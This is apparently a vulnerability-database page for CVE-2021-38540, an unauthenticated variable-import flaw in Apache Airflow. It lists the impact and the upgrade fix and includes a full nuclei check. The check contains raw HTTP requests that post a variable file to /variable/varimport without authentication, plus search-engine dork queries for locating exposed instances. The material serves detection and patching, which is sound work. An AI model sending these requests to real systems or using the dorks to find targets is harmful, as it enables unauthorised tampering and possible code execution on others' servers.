Browse / CVEs / CVE-2021-38540
CVE-2021-38540· apache / airflow· CWE-306, CWE-269
Apache Airflow - Unauthenticated Variable Import
criticalseverity
9.8CVSS score
80.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
Impact
An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
Fix
Upgrade to Apache Airflow 2.1.3 or higher.
How to confirm it
Send: GET /login/ ; POST /variable/varimport
Positive when: contains(body_1, "Sign In") and status_code_2 == 302 and contains(header_2, "session=.") AND contains "You should be redirected automatically to target URL: <a hr…"Run it with nuclei: nuclei -id CVE-2021-38540 -u <target>
The full check
id: CVE-2021-38540
info:
name: Apache Airflow - Unauthenticated Variable Import
author: pdteam
severity: critical
description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
impact: |
An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
remediation: Upgrade to Apache Airflow 2.1.3 or higher.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
- https://github.com/WhooAmii/POC_to_review
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-38540
cwe-id: CWE-306,CWE-269
epss-score: 0.80938
epss-percentile: 0.99633
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: airflow
shodan-query:
- title:"Sign In - Airflow"
- http.title:"airflow - dags" || http.html:"apache airflow"
- http.title:"sign in - airflow"
- product:"redis"
fofa-query:
- title="sign in - airflow"
- apache airflow
- title="airflow - dags" || http.html:"apache airflow"
google-query:
- intitle:"sign in - airflow"
- intitle:"airflow - dags" || http.html:"apache airflow"
tags: cve2021,cve,apache,airflow,rce,intrusive,vuln
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer: {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
Content-Type: application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(body_1, "Sign In")
- status_code_2 == 302
- contains(header_2, "session=.")
condition: and
- type: word
words:
- 'You should be redirected automatically to target URL: <a href="/">'
extractors:
- type: regex
name: csrf
group: 1
regex:
- type="hidden" value="(.*?)">
internal: trueReferences
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
- https://github.com/WhooAmii/POC_to_review
Use this check only on systems you are authorised to test. Where the data comes from